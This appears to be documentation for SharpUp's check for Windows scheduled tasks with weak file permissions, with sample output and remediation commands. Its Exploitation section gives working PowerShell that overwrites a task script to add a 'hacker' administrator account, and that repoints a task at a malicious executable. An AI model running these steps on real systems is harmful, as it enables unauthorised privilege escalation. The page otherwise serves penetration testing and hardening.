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Overview

The Modifiable Scheduled Task check identifies Windows scheduled tasks where either the task definition file or the binary executed by the task has weak permissions. This allows privilege escalation by modifying the task to execute malicious code with elevated privileges.

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How It Works

SharpUp examines scheduled tasks in %SystemRoot%\System32\Tasks:
  1. Checks if task XML file is writable
  2. Parses XML to find the command/binary to be executed
  3. Checks if the binary is writable
  4. Reports tasks where either file can be modified

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Technical Details

Scheduled tasks run with configured privileges (often SYSTEM). If you can modify either:
  • The task XML file
  • The executable the task runs
You can execute arbitrary code with those privileges.

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Example Output

=== Modifiable Scheduled Task ===
    Task Name              : \Microsoft\Windows\BackupTask
    Task Path              : C:\Windows\System32\Tasks\BackupTask
    Command                : C:\Scripts\backup.ps1
    Task XML Modifiable    : False
    Task Binary Modifiable : True

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Exploitation

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Method 1: Replace Binary

# If binary is modifiable
$taskBinary = "C:\Scripts\backup.ps1"

# Backup original
Copy-Item $taskBinary "$taskBinary.bak"

# Replace with payload
$payload = "net user hacker P@ss /add && net localgroup administrators hacker /add"
$payload | Out-File $taskBinary

# Wait for task to run or trigger it
schtasks /run /tn "BackupTask"

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Method 2: Modify Task XML

# If XML is modifiable
$taskXml = "C:\Windows\System32\Tasks\BackupTask"

# Read and modify XML
[xml]$xml = Get-Content $taskXml
$xml.Task.Actions.Exec.Command = "C:\temp\malicious.exe"
$xml.Save($taskXml)

# Task will run modified command at next schedule

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Remediation

1

Secure Task Files

# Secure task directory
$taskPath = "$env:SystemRoot\System32\Tasks"
icacls $taskPath /inheritance:r
icacls $taskPath /grant:r "SYSTEM:(OI)(CI)F"
icacls $taskPath /grant:r "Administrators:(OI)(CI)F"
icacls $taskPath /grant:r "Users:(OI)(CI)RX"
2

Secure Task Binaries

Apply proper permissions to executables used by scheduled tasks.

Modifiable Services

Check for modifiable services

Registry Autoruns

Find modifiable autorun entries